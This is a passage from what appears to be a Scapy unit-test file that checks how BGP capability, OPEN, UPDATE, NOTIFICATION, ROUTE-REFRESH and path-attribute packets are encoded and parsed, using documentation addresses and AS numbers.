1 and c.orf[0].safi == 1 and c.orf[0].entries[0].orf_type == 64 and c.orf[0].entries[0].send_receive == 3 and c.orf[1].afi == 2 and c.orf[1].safi == 1 and c.orf[1].entries[0].orf_type == 64 and c.orf[1].entries[0].send_receive == 3 = BGPCapORF - Dissection p = BGPCapORF(b'\x03\x07\x00\x01\x00\x01\x01@\x03') assert(len(p.orf) == 1) ####################### BGPCapGracefulRestart.GRTuple ######################### + BGPCapGracefulRestart.GRTuple class tests = BGPCapGracefulRestart.GRTuple - Instantiation raw(BGPCapGracefulRestart.GRTuple()) == b'\x00\x00\x00\x00' = BGPCapGracefulRestart.GRTuple - Instantiation with specific values raw(BGPCapGracefulRestart.GRTuple(afi = 1, safi = 1, flags = 128)) == b'\x00\x01\x01\x80' = BGPCapGracefulRestart.GRTuple - Basic dissection c = BGPCapGracefulRestart.GRTuple(b'\x00\x00\x00\x00') c.afi == 0 and c.safi == 0 and c.flags == 0 = BGPCapGracefulRestart.GRTuple - Dissection with specific values c = BGPCapGracefulRestart.GRTuple(b'\x00\x01\x01\x80') c.afi == 1 and c.safi == 1 and c.flags == 128 ########################### BGPCapGracefulRestart ############################# + BGPCapGracefulRestart class tests = BGPCapGracefulRestart - Inheritance c = BGPCapGracefulRestart() assert(isinstance(c, BGPCapGracefulRestart)) = BGPCapGracefulRestart - Instantiation raw(BGPCapGracefulRestart()) == b'@\x02\x00\x00' = BGPCapGracefulRestart - Instantiation with specific values (1) raw(BGPCapGracefulRestart(restart_time = 120, entries = [BGPCapGracefulRestart.GRTuple(afi = 1, safi = 1)])) == b'@\x06\x00x\x00\x01\x01\x00' = BGPCapGracefulRestart - Instantiation with specific values (2) raw(BGPCapGracefulRestart(restart_time = 120, entries = [BGPCapGracefulRestart.GRTuple(afi = 1, safi = 1)])) == b'@\x06\x00x\x00\x01\x01\x00' = BGPCapGracefulRestart - Instantiation with specific values (3) raw(BGPCapGracefulRestart(restart_time = 120, entries = [BGPCapGracefulRestart.GRTuple(afi = 1, safi = 1, flags = 128)])) == b'@\x06\x00x\x00\x01\x01\x80' = BGPCapGracefulRestart - Instantiation with specific values (4) raw(BGPCapGracefulRestart(restart_time = 120, restart_flags = 0x8, entries = [BGPCapGracefulRestart.GRTuple(afi = 1, safi = 1, flags = 128)])) == b'@\x06\x80x\x00\x01\x01\x80' = BGPCapGracefulRestart - Basic dissection c = BGPCapGracefulRestart(b'@\x02\x00\x00') c.code == 64 and c.restart_flags == 0 and c.restart_time == 0 = BGPCapGracefulRestart - Dissection with specific values c = BGPCapGracefulRestart(b'@\x06\x80x\x00\x01\x01\x80') c.code == 64 and c.restart_time == 120 and c.restart_flags == 0x8 and c.entries[0].afi == 1 and c.entries[0].safi == 1 and c.entries[0].flags == 128 ############################ BGPCapFourBytesASN ############################### + BGPCapFourBytesASN class tests = BGPCapFourBytesASN - Inheritance c = BGPCapFourBytesASN() assert(isinstance(c, BGPCapFourBytesASN)) = BGPCapFourBytesASN - Instantiation raw(BGPCapFourBytesASN()) == b'A\x04\x00\x00\x00\x00' = BGPCapFourBytesASN - Instantiation with specific values (1) raw(BGPCapFourBytesASN(asn = 6555555)) == b'A\x04\x00d\x07\xa3' = BGPCapFourBytesASN - Instantiation with specific values (2) raw(BGPCapFourBytesASN(asn = 4294967295)) == b'A\x04\xff\xff\xff\xff' = BGPCapFourBytesASN - Basic dissection c = BGPCapFourBytesASN(b'A\x04\x00\x00\x00\x00') c.code == 65 and c.length == 4 and c.asn == 0 = BGPCapFourBytesASN - Dissection with specific values c = BGPCapFourBytesASN(b'A\x04\xff\xff\xff\xff') c.code == 65 and c.length == 4 and c.asn == 4294967295 ####################### BGPAuthenticationInformation ########################## + BGPAuthenticationInformation class tests = BGPAuthenticationInformation - Instantiation raw(BGPAuthenticationInformation()) == b'\x00' = BGPAuthenticationInformation - Basic dissection c = BGPAuthenticationInformation(b'\x00') c.authentication_code == 0 and c.authentication_data == None ################################# BGPOptParam ################################# + BGPOptParam class tests = BGPOptParam - Instantiation raw(BGPOptParam()) == b'\x02\x00' = BGPOptParam - Instantiation with specific values (1) raw(BGPOptParam(param_type = 1)) == b'\x01\x00' raw(BGPOptParam(param_type = 1, param_value = BGPAuthenticationInformation())) == b'\x01\x00' = BGPOptParam - Instantiation with specific values (2) raw(BGPOptParam(param_type = 2)) == b'\x02\x00' = BGPOptParam - Instantiation with specific values (3) raw(BGPOptParam(param_type = 2, param_value = BGPCapFourBytesASN(asn = 4294967295))) == b'\x02\x06A\x04\xff\xff\xff\xff' = BGPOptParam - Instantiation with specific values (4) raw(BGPOptParam(param_type = 2, param_value = BGPCapability(code = 127))) == b'\x02\x02\x7f\x00' = BGPOptParam - Instantiation with specific values (5) raw(BGPOptParam(param_type = 2, param_value = BGPCapability(code = 255))) == b'\x02\x02\xff\x00' = BGPOptParam - Basic dissection p = BGPOptParam(b'\x02\x00') p.param_type == 2 and p.param_length == 0 = BGPOptParam - Dissection with specific values p = BGPOptParam(b'\x02\x06A\x04\xff\xff\xff\xff') p.param_type == 2 and p.param_length == 6 and p.param_value[0].code == 65 and p.param_value[0].length == 4 and p.param_value[0].asn == 4294967295 ################################### BGPOpen ################################### + BGPOpen class tests = BGPOpen - Instantiation raw(BGPOpen()) == b'\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00' = BGPOpen - Instantiation with specific values (1) raw(BGPOpen(my_as = 64501, bgp_id = "192.0.2.1")) == b'\x04\xfb\xf5\x00\x00\xc0\x00\x02\x01\x00' = BGPOpen - Instantiation with specific values (2) opt = BGPOptParam(param_value = BGPCapMultiprotocol(afi = 1, safi = 1)) raw(BGPOpen(my_as = 64501, bgp_id = "192.0.2.1", opt_params = [opt])) == b'\x04\xfb\xf5\x00\x00\xc0\x00\x02\x01\x08\x02\x06\x01\x04\x00\x01\x00\x01' = BGPOpen - Instantiation with specific values (3) cap = BGPOptParam(param_value = BGPCapMultiprotocol(afi = 1, safi = 1)) capabilities = [cap] cap = BGPOptParam(param_value = BGPCapability(code = 128)) capabilities.append(cap) cap = BGPOptParam(param_value = BGPCapability(code = 2)) capabilities.append(cap) cap = BGPOptParam(param_value = BGPCapGracefulRestart(restart_time = 120, entries = [BGPCapGracefulRestart.GRTuple(afi = 1, safi= 1, flags = 128)])) capabilities.append(cap) cap = BGPOptParam(param_value = BGPCapFourBytesASN(asn = 64503)) capabilities.append(cap) raw(BGPOpen(my_as = 64503, bgp_id = "192.168.100.3", hold_time = 30, opt_params = capabilities)) == b'\x04\xfb\xf7\x00\x1e\xc0\xa8d\x03"\x02\x06\x01\x04\x00\x01\x00\x01\x02\x02\x80\x00\x02\x02\x02\x00\x02\x08@\x06\x00x\x00\x01\x01\x80\x02\x06A\x04\x00\x00\xfb\xf7' = BGPOpen - Dissection with specific values (1) m = BGP(b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00?\x01\x04\xfb\xf7\x00\x1e\xc0\xa8d\x03"\x02\x06\x01\x04\x00\x01\x00\x01\x02\x02\x80\x00\x02\x02\x02\x00\x02\x08@\x06\x00x\x00\x01\x01\x80\x02\x06A\x04\x00\x00\xfb\xf7') assert(BGPHeader in m and BGPOpen in m) assert(m.len == 63) assert(m.type == BGP.OPEN_TYPE) assert(m.version == 4) assert(m.my_as == 64503) assert(m.hold_time == 30) assert(m.bgp_id == "192.168.100.3") assert(m.opt_param_len == 34) assert(isinstance(m.opt_params[0].param_value, BGPCapMultiprotocol)) assert(isinstance(m.opt_params[1].param_value, BGPCapability)) assert(isinstance(m.opt_params[2].param_value, BGPCapability)) assert(isinstance(m.opt_params[3].param_value, BGPCapGracefulRestart)) = BGPOpen - Dissection with specific values (2) (followed by a KEEPALIVE) messages = b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00=\x01\x04\xfb\xf6\x00\xb4\xc0\xa8ze \x02\x06\x01\x04\x00\x01\x00\x01\x02\x06\x01\x04\x00\x02\x00\x01\x02\x02\x80\x00\x02\x02\x02\x00\x02\x06A\x04\x00\x00\xfb\xf6\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x13\x04' m = BGP(messages) raw(m) == b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00=\x01\x04\xfb\xf6\x00\xb4\xc0\xa8ze \x02\x06\x01\x04\x00\x01\x00\x01\x02\x06\x01\x04\x00\x02\x00\x01\x02\x02\x80\x00\x02\x02\x02\x00\x02\x06A\x04\x00\x00\xfb\xf6\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x13\x04' = BGPOpen - Dissection with specific values (3) m = BGP(b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x8f\x01\x04\xfd\xe8\x00\xb4\n\xff\xff\x01r\x02\x06\x01\x04\x00\x01\x00\x84\x02\x06\x01\x04\x00\x19\x00A\x02\x06\x01\x04\x00\x02\x00\x02\x02\x06\x01\x04\x00\x01\x00\x02\x02\x06\x01\x04\x00\x02\x00\x80\x02\x06\x01\x04\x00\x01\x00\x80\x02\x06\x01\x04\x00\x01\x00B\x02\x06\x01\x04\x00\x02\x00\x01\x02\x06\x01\x04\x00\x02\x00\x04\x02\x06\x01\x04\x00\x01\x00\x01\x02\x06\x01\x04\x00\x01\x00\x04\x02\x02\x80\x00\x02\x02\x02\x00\x02\x04@\x02\x80x\x02\x02F\x00\x02\x06A\x04\x00\x00\xfd\xe8') assert(BGPHeader in m and BGPOpen in m) = BGPOpen - Dissection with specific values (4) m = BGP(b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x8f\x01\x04\xfd\xe8\x00\xb4\n\xff\xff\x02r\x02\x06\x01\x04\x00\x01\x00\x84\x02\x06\x01\x04\x00\x19\x00A\x02\x06\x01\x04\x00\x02\x00\x02\x02\x06\x01\x04\x00\x01\x00\x02\x02\x06\x01\x04\x00\x02\x00\x80\x02\x06\x01\x04\x00\x01\x00\x80\x02\x06\x01\x04\x00\x01\x00B\x02\x06\x01\x04\x00\x02\x00\x01\x02\x06\x01\x04\x00\x02\x00\x04\x02\x06\x01\x04\x00\x01\x00\x01\x02\x06\x01\x04\x00\x01\x00\x04\x02\x02\x80\x00\x02\x02\x02\x00\x02\x04@\x02\x00x\x02\x02F\x00\x02\x06A\x04\x00\x00\xfd\xe8') assert(BGPHeader in m and BGPOpen in m) ################################# BGPPAOrigin ################################# + BGPPAOrigin class tests = BGPPAOrigin - Instantiation raw(BGPPAOrigin()) == b'\x00' = BGPPAOrigin - Instantiation with specific values raw(BGPPAOrigin(origin = 1)) == b'\x01' = BGPPAOrigin - Dissection a = BGPPAOrigin(b'\x00') a.origin == 0 ################################ BGPPAASPath ################################## + BGPPAASPath class tests = BGPPAASPath - Instantiation raw(BGPPAASPath()) == b'' = BGPPAASPath - Instantiation with specific values (1) raw(BGPPAASPath(segments = [BGPPAASPath.ASPathSegment(segment_type = 2, segment_value = [64496, 64497, 64498])])) == b'\x02\x03\xfb\xf0\xfb\xf1\xfb\xf2' = BGPPAASPath - Instantiation with specific values (2) raw(BGPPAASPath(segments = [BGPPAASPath.ASPathSegment(segment_type = 1, segment_value = [64496, 64497, 64498])])) == b'\x01\x03\xfb\xf0\xfb\xf1\xfb\xf2' = BGPPAASPath - Instantiation with specific values (3) raw(BGPPAASPath(segments = [BGPPAASPath.ASPathSegment(segment_type = 1, segment_value = [64496, 64497, 64498]), BGPPAASPath.ASPathSegment(segment_type = 2, segment_value = [64500, 64501, 64502, 64502, 64503])])) == b'\x01\x03\xfb\xf0\xfb\xf1\xfb\xf2\x02\x05\xfb\xf4\xfb\xf5\xfb\xf6\xfb\xf6\xfb\xf7' = BGPPAASPath - Dissection (1) a = BGPPAASPath(b'\x02\x03\xfb\xf0\xfb\xf1\xfb\xf2') a.segments[0].segment_type == 2 and a.segments[0].segment_length == 3 and a.segments[0].segment_value == [64496, 64497, 64498] = BGPPAASPath - Dissection (2) a = BGPPAASPath(b'\x01\x03\xfb\xf0\xfb\xf1\xfb\xf2\x02\x05\xfb\xf4\xfb\xf5\xfb\xf6\xfb\xf6\xfb\xf7') a.segments[0].segment_type == 1 and a.segments[0].segment_length == 3 and a.segments[0].segment_value == [64496, 64497, 64498] and a.segments[1].segment_type == 2 and a.segments[1].segment_length == 5 and a.segments[1].segment_value == [64500, 64501, 64502, 64502, 64503] ############################### BGPPANextHop ################################## + BGPPANextHop class tests = BGPPANextHop - Instantiation raw(BGPPANextHop()) == b'\x00\x00\x00\x00' = BGPPANextHop - Instantiation with specific values raw(BGPPANextHop(next_hop = "192.0.2.1")) == b'\xc0\x00\x02\x01' = BGPPANextHop - Basic dissection a = BGPPANextHop(b'\x00\x00\x00\x00') a.next_hop == "0.0.0.0" = BGPPANextHop - Dissection with specific values a = BGPPANextHop(b'\xc0\x00\x02\x01') a.next_hop == '192.0.2.1' ############################ BGPPAMultiExitDisc ############################## + BGPPAMultiExitDisc class tests = BGPPAMultiExitDisc - Instantiation raw(BGPPAMultiExitDisc()) == b'\x00\x00\x00\x00' = BGPPAMultiExitDisc - Instantiation with specific values (1) raw(BGPPAMultiExitDisc(med = 4)) == b'\x00\x00\x00\x04' = BGPPAMultiExitDisc - Basic dissection a = BGPPAMultiExitDisc(b'\x00\x00\x00\x00') a.med == 0 ############################## BGPPALocalPref ################################ + BGPPALocalPref class tests = BGPPALocalPref - Instantiation raw(BGPPALocalPref()) == b'\x00\x00\x00\x00' = BGPPALocalPref - Instantiation with specific values (1) raw(BGPPALocalPref(local_pref = 110)) == b'\x00\x00\x00n' = BGPPALocalPref - Basic dissection a = BGPPALocalPref(b'\x00\x00\x00n') a.local_pref == 110 ############################## BGPPAAggregator ############################### + BGPPAAggregator class tests = BGPPAAggregator - Instantiation raw(BGPPAAggregator()) == b'\x00\x00\x00\x00\x00\x00' = BGPPAAggregator - Instantiation with specific values (1) raw(BGPPAAggregator(aggregator_asn = 64500, speaker_address = "192.0.2.1")) == b'\xfb\xf4\xc0\x00\x02\x01' = BGPPAAggregator - Dissection a = BGPPAAggregator(b'\xfb\xf4\xc0\x00\x02\x01') a.aggregator_asn == 64500 and a.speaker_address == "192.0.2.1" ############################## BGPPACommunity ################################ + BGPPACommunity class tests = BGPPACommunity - Basic instantiation raw(BGPPACommunity()) == b'\x00\x00\x00\x00' = BGPPACommunity - Instantiation with specific value raw(BGPPACommunity(community = 0xFFFFFF01)) == b'\xff\xff\xff\x01' = BGPPACommunity - Dissection a = BGPPACommunity(b'\xff\xff\xff\x01') a.community == 0xFFFFFF01 ############################ BGPPAOriginatorID ############################### + BGPPAOriginatorID class tests = BGPPAOriginatorID - Basic instantiation raw(BGPPAOriginatorID()) == b'\x00\x00\x00\x00' = BGPPAOriginatorID - Instantiation with specific value raw(BGPPAOriginatorID(originator_id = '192.0.2.1')) == b'\xc0\x00\x02\x01' = BGPPAOriginatorID - Dissection a = BGPPAOriginatorID(b'\xc0\x00\x02\x01') a.originator_id == "192.0.2.1" ############################ BGPPAClusterList ################################ + BGPPAClusterList class tests = BGPPAClusterList - Basic instantiation raw(BGPPAClusterList()) == b'' = BGPPAClusterList - Instantiation with specific values raw(BGPPAClusterList(cluster_list = [150000, 165465465, 132132])) == b'\x00\x02I\xf0\t\xdc\xcdy\x00\x02\x04$' = BGPPAClusterList - Dissection a = BGPPAClusterList(b'\x00\x02I\xf0\t\xdc\xcdy\x00\x02\x04$') a.cluster_list[0] == 150000 and a.cluster_list[1] == 165465465 and a.cluster_list[2] == 132132 ########################### BGPPAMPReachNLRI ############################### + BGPPAMPReachNLRI class tests = BGPPAMPReachNLRI - Instantiation raw(BGPPAMPReachNLRI()) == b'\x00\x00\x00\x00\x00' = BGPPAMPReachNLRI - Instantiation with specific values (1) raw(BGPPAMPReachNLRI(afi=2, safi=1, nh_addr_len=16, nh_v6_addr = "2001:db8::2", nlri = [BGPNLRI_IPv6(prefix = "2001:db8:2::/64")])) == b'\x00\x02\x01\x10 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00@ \x01\r\xb8\x00\x02\x00\x00' = BGPPAMPReachNLRI - Dissection (1) a = BGPPAMPReachNLRI(b'\x00\x02\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\xfe\x80\x00\x00\x00\x00\x00\x00\xc0\x02\x0b\xff\xfe~\x00\x00\x00@ \x01\r\xb8\x00\x02\x00\x02@ \x01\r\xb8\x00\x02\x00\x01@ \x01\r\xb8\x00\x02\x00\x00') a.afi == 2 and a.safi == 1 and a.nh_addr_len == 32 and a.nh_v6_global == "2001:db8::2" and a.nh_v6_link_local == "fe80::c002:bff:fe7e:0" and a.reserved == 0 and a.nlri[0].prefix == "2001:db8:2:2::/64" and a.nlri[1].prefix == "2001:db8:2:1::/64" and a.nlri[2].prefix == "2001:db8:2::/64" = BGPPAMPReachNLRI - Dissection (2) a = BGPPAMPReachNLRI(b'\x00\x02\x01 \xfe\x80\x00\x00\x00\x00\x00\x00\xfa\xc0\x01\x00\x15\xde\x15\x81\xfe\x80\x00\x00\x00\x00\x00\x00\xfa\xc0\x01\x00\x15\xde\x15\x81\x00\x06\x04\x05\x08\x04\x10\x03`\x03\x80\x03\xa0\x03\xc0\x04\xe0\x05\xf0\x06\xf8\t\xfe\x00\x16 \x01<\x08-\x07.\x040\x10?\xfe\x10 \x02\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00`\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff@\x01\x00\x00\x00\x00\x00\x00\x00\x17 \x01\x00 \x01\x00\x000 \x01\x00\x02\x00\x00 \x01\r\xb8\x1c \x01\x00\x10\x07\xfc\n\xfe\x80\x08\xff\n\xfe\xc0\x03 \x03@\x08_`\x00d\xff\x9b\x00\x00\x00\x00\x00\x00\x00\x00\x08\x00\x08\x01\x07\x02') a.afi == 2 and a.safi == 1 and a.nh_addr_len == 32 and a.nh_v6_global == "fe80::fac0:100:15de:1581" and a.nh_v6_link_local == "fe80::fac0:100:15de:1581" and a.reserved == 0 and a.nlri[0].prefix == "400::/6" and a.nlri[1].prefix == "800::/5" and raw(a.nlri[18]) == b'`\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff' and a.nlri[35].prefix == "200::/7" ############################# BGPPAMPUnreachNLRI ############################# + BGPPAMPUnreachNLRI class tests = BGPPAMPUnreachNLRI - Instantiation raw(BGPPAMPUnreachNLRI()) == b'\x00\x00\x00' = BGPPAMPUnreachNLRI - Instantiation with specific values (1) raw(BGPPAMPUnreachNLRI(afi = 2, safi = 1)) == b'\x00\x02\x01' = BGPPAMPUnreachNLRI - Instantiation with specific values (2) raw(BGPPAMPUnreachNLRI(afi = 2, safi = 1, afi_safi_specific = BGPPAMPUnreachNLRI_IPv6(withdrawn_routes = [BGPNLRI_IPv6(prefix = "2001:db8:2::/64")]))) == b'\x00\x02\x01@ \x01\r\xb8\x00\x02\x00\x00' = BGPPAMPUnreachNLRI - Dissection (1) a = BGPPAMPUnreachNLRI(b'\x00\x02\x01') a.afi == 2 and a.safi == 1 = BGPPAMPUnreachNLRI - Dissection (2) a = BGPPAMPUnreachNLRI(b'\x00\x02\x01\x03`\x03\x80\x03\xa0\x03\xc0\x04\xe0\x05\xf0\x06\xf8\x10 \x02`\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff@\x01\x00\x00\x00\x00\x00\x00\x00\x17 \x01\x00 \x01\x00\x000 \x01\x00\x02\x00\x00 \x01\r\xb8\n\xfe\xc0\x07\xfc\n\xfe\x80\x1c \x01\x00\x10\x03 \x06\x04\x03@\x08_\x05\x08\x04\x10') a.afi == 2 and a.safi == 1 and a.afi_safi_specific.withdrawn_routes[0].prefix == "6000::/3" and a.afi_safi_specific.withdrawn_routes[11].prefix == "2001::/32" and a.afi_safi_specific.withdrawn_routes[23].prefix == "1000::/4" ############################# BGPPAAS4Aggregator ############################# + BGPPAAS4Aggregator class tests = BGPPAAS4Aggregator - Instantiation raw(BGPPAAS4Aggregator()) == b'\x00\x00\x00\x00\x00\x00\x00\x00' = BGPPAAS4Aggregator - Instantiation with specific values raw(BGPPAAS4Aggregator(aggregator_asn = 644566565, speaker_address = "192.0.2.1")) == b'&kN%\xc0\x00\x02\x01' = BGPPAAS4Aggregator - Dissection a = BGPPAAS4Aggregator(b'&kN%\xc0\x00\x02\x01') a.aggregator_asn == 644566565 and a.speaker_address == "192.0.2.1" ################################ BGPPathAttr ################################# + BGPPathAttr class tests = BGPPathAttr - Instantiation raw(BGPPathAttr()) == b'\x80\x00\x00' = BGPPathAttr - Instantiation with specific values (1) raw(BGPPathAttr(type_code = 1, attribute = BGPPAOrigin(origin = 0))) = BGPPathAttr - Instantiation with specific values (2) raw(BGPPathAttr(type_code = 2, attribute = BGPPAASPath(segments = [BGPPAASPath.ASPathSegment(segment_type = 2, segment_value = [64501, 64501, 64501])]))) == b'\x80\x02\x08\x02\x03\xfb\xf5\xfb\xf5\xfb\xf5' = BGPPathAttr - Instantiation with specific values (3) raw(BGPPathAttr(type_code = 14, attribute = BGPPAMPReachNLRI(afi = 2, safi = 1, nh_addr_len = 16, nh_v6_addr = "2001:db8::2", nlri = [BGPNLRI_IPv6(prefix = "2001:db8:2::/64")]))) == b'\x80\x0e\x1e\x00\x02\x01\x10 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00@ \x01\r\xb8\x00\x02\x00\x00' = BGPPathAttr - Dissection (1) a = BGPPathAttr(b'\x90\x0f\x00X\x00\x02\x01\x03`\x03\x80\x03\xa0\x03\xc0\x04\xe0\x05\xf0\x06\xf8\x10 \x02`\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff@\x01\x00\x00\x00\x00\x00\x00\x00\x17 \x01\x00 \x01\x00\x000 \x01\x00\x02\x00\x00 \x01\r\xb8\n\xfe\xc0\x07\xfc\n\xfe\x80\x1c \x01\x00\x10\x03 \x06\x04\x03@\x08_\x05\x08\x04\x10') a.type_flags == 0x90 and a.type_code == 15 and a.attr_ext_len == 88 and a.attribute.afi == 2 and a.attribute.safi == 1 and a.attribute.afi_safi_specific.withdrawn_routes[0].prefix == "6000::/3" and a.attribute.afi_safi_specific.withdrawn_routes[1].prefix == "8000::/3" and a.attribute.afi_safi_specific.withdrawn_routes[2].prefix == "a000::/3" and a.attribute.afi_safi_specific.withdrawn_routes[3].prefix == "c000::/3" and a.attribute.afi_safi_specific.withdrawn_routes[4].prefix == "e000::/4" and a.attribute.afi_safi_specific.withdrawn_routes[5].prefix == "f000::/5" and a.attribute.afi_safi_specific.withdrawn_routes[23].prefix == "1000::/4" = BGPPathAttr - advanced b = BGPPathAttr(type_code=0x10, attribute=BGPPAExtComms(extended_communities=[ BGPPAExtCommunity(value=BGPPAExtCommTwoOctetASSpecific()), BGPPAExtCommunity(value=BGPPAExtCommIPv4AddressSpecific()), BGPPAExtCommunity(value=BGPPAExtCommFourOctetASSpecific()), BGPPAExtCommunity(value=BGPPAExtCommOpaque()), BGPPAExtCommunity(value=BGPPAExtCommTrafficMarking()), BGPPAExtCommunity(value=BGPPAExtCommRedirectIPv4()), BGPPAExtCommunity(value=BGPPAExtCommRedirectAS4Byte()), ])) b = BGPPathAttr(raw(b)) cls_list = [x.value.__class__ for x in b.attribute.extended_communities] assert cls_list == [BGPPAExtCommTwoOctetASSpecific, BGPPAExtCommIPv4AddressSpecific, BGPPAExtCommFourOctetASSpecific, BGPPAExtCommOpaque, BGPPAExtCommTrafficMarking, BGPPAExtCommRedirectIPv4, BGPPAExtCommRedirectAS4Byte] b.show() ################################# BGPUpdate ################################## + BGPUpdate class tests = BGPUpdate - Instantiation raw(BGPUpdate()) == b'\x00\x00\x00\x00' = BGPUpdate - Dissection (1) bgp_module_conf.use_2_bytes_asn = True m = BGP(b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x000\x02\x00\x19\x18\xc0\xa8\x96\x18\x07\x07\x07\x18\xc63d\x18\xc0\xa8\x01\x19\x06\x06\x06\x00\x18\xc0\xa8\x1a\x00\x00') assert(BGPHeader in m and BGPUpdate in m) assert(m.withdrawn_routes_len == 25) assert(m.withdrawn_routes[0].prefix == "192.168.150.0/24") assert(m.withdrawn_routes[5].prefix == "192.168.26.0/24") assert(m.path_attr_len == 0) = BGPUpdate - Behave like a NEW speaker (RFC 6793) - Dissection (2) bgp_module_conf.use_2_bytes_asn = False m = BGP(b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00=\x02\x00\x00\x00"@\x01\x01\x00@\x02\x06\x02\x01\x00\x00\xfb\xfa@\x03\x04\xc0\xa8\x10\x06\x80\x04\x04\x00\x00\x00\x00\xc0\x08\x04\xff\xff\xff\x01\x18\xc0\xa8\x01') assert(BGPHeader in m and BGPUpdate in m) assert(m.path_attr[1].attribute.segments[0].segment_value == [64506]) assert(m.path_attr[4].attribute.community == 0xFFFFFF01) assert(m.nlri[0].prefix == "192.168.1.0/24") = BGPUpdate - Dissection (MP_REACH_NLRI) m = BGP(b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\xd8\x02\x00\x00\x00\xc1@\x01\x01\x00@\x02\x06\x02\x01\x00\x00\xfb\xf6\x90\x0e\x00\xb0\x00\x02\x01 \xfe\x80\x00\x00\x00\x00\x00\x00\xfa\xc0\x01\x00\x15\xde\x15\x81\xfe\x80\x00\x00\x00\x00\x00\x00\xfa\xc0\x01\x00\x15\xde\x15\x81\x00\x06\x04\x05\x08\x04\x10\x03`\x03\x80\x03\xa0\x03\xc0\x04\xe0\x05\xf0\x06\xf8\t\xfe\x00\x16 \x01<\x08-\x07.\x040\x10?\xfe\x10 \x02\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00`\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff@\x01\x00\x00\x00\x00\x00\x00\x00\x17 \x01\x00 \x01\x00\x000 \x01\x00\x02\x00\x00 \x01\r\xb8\x1c \x01\x00\x10\x07\xfc\n\xfe\x80\x08\xff\n\xfe\xc0\x03 \x03@\x08_`\x00d\xff\x9b\x00\x00\x00\x00\x00\x00\x00\x00\x08\x00\x08\x01\x07\x02') assert(BGPHeader in m and BGPUpdate in m) assert(m.path_attr[2].attribute.afi == 2) assert(m.path_attr[2].attribute.safi == 1) assert(m.path_attr[2].attribute.nh_addr_len == 32) assert(m.path_attr[2].attribute.nh_v6_global == "fe80::fac0:100:15de:1581") assert(m.path_attr[2].attribute.nh_v6_link_local == "fe80::fac0:100:15de:1581") assert(m.path_attr[2].attribute.nlri[0].prefix == "400::/6") assert(m.nlri == []) = BGPUpdate - Dissection (MP_UNREACH_NLRI) m = BGP(b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00s\x02\x00\x00\x00\\\x90\x0f\x00X\x00\x02\x01\x03`\x03\x80\x03\xa0\x03\xc0\x04\xe0\x05\xf0\x06\xf8\x10 \x02`\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff@\x01\x00\x00\x00\x00\x00\x00\x00\x17 \x01\x00 \x01\x00\x000 \x01\x00\x02\x00\x00 \x01\r\xb8\n\xfe\xc0\x07\xfc\n\xfe\x80\x1c \x01\x00\x10\x03 \x06\x04\x03@\x08_\x05\x08\x04\x10') assert(BGPHeader in m and BGPUpdate in m) assert(m.path_attr[0].attribute.afi == 2) assert(m.path_attr[0].attribute.safi == 1) assert(m.path_attr[0].attribute.afi_safi_specific.withdrawn_routes[0].prefix == "6000::/3") assert(m.nlri == []) = BGPUpdate - with BGPHeader p = BGP(raw(BGPHeader()/BGPUpdate())) assert(BGPHeader in p and BGPUpdate in p) ########## BGPNotification Class ################################### + BGPNotification class tests = BGPNotification - Instantiation raw(BGPNotification()) == b'\x00\x00' = BGPNotification - Dissection (Administratively Reset) m = BGP(b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x15\x03\x06\x04') m.type == BGP.NOTIFICATION_TYPE and m.error_code == 6 and m.error_subcode == 4 = BGPNotification - Dissection (Bad Peer AS) m = BGP(b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x17\x03\x02\x02\x00\x00') m.type == BGP.NOTIFICATION_TYPE and m.error_code == 2 and m.error_subcode == 2 = BGPNotification - Dissection (Attribute Flags Error) m = BGP(b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x19\x03\x03\x04\x80\x01\x01\x00') m.type == BGP.NOTIFICATION_TYPE and m.error_code == 3 and m.error_subcode == 4 ########## BGPRouteRefresh Class ################################### + BGPRouteRefresh class tests = BGPRouteRefresh - Instantiation raw(BGPRouteRefresh()) == b'\x00\x01\x00\x01' = BGPRouteRefresh - Instantiation with specific values raw(BGPRouteRefresh(afi = 1, safi = 1)) == b'\x00\x01\x00\x01' = BGPRouteRefresh - Dissection (1) m = BGP(b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x17\x05\x00\x02\x00\x01') m.type == BGP.ROUTEREFRESH_TYPE and m.len == 23 and m.afi == 2 and m.subtype == 0 and m.safi == 1 = BGPRouteRefresh - Dissection 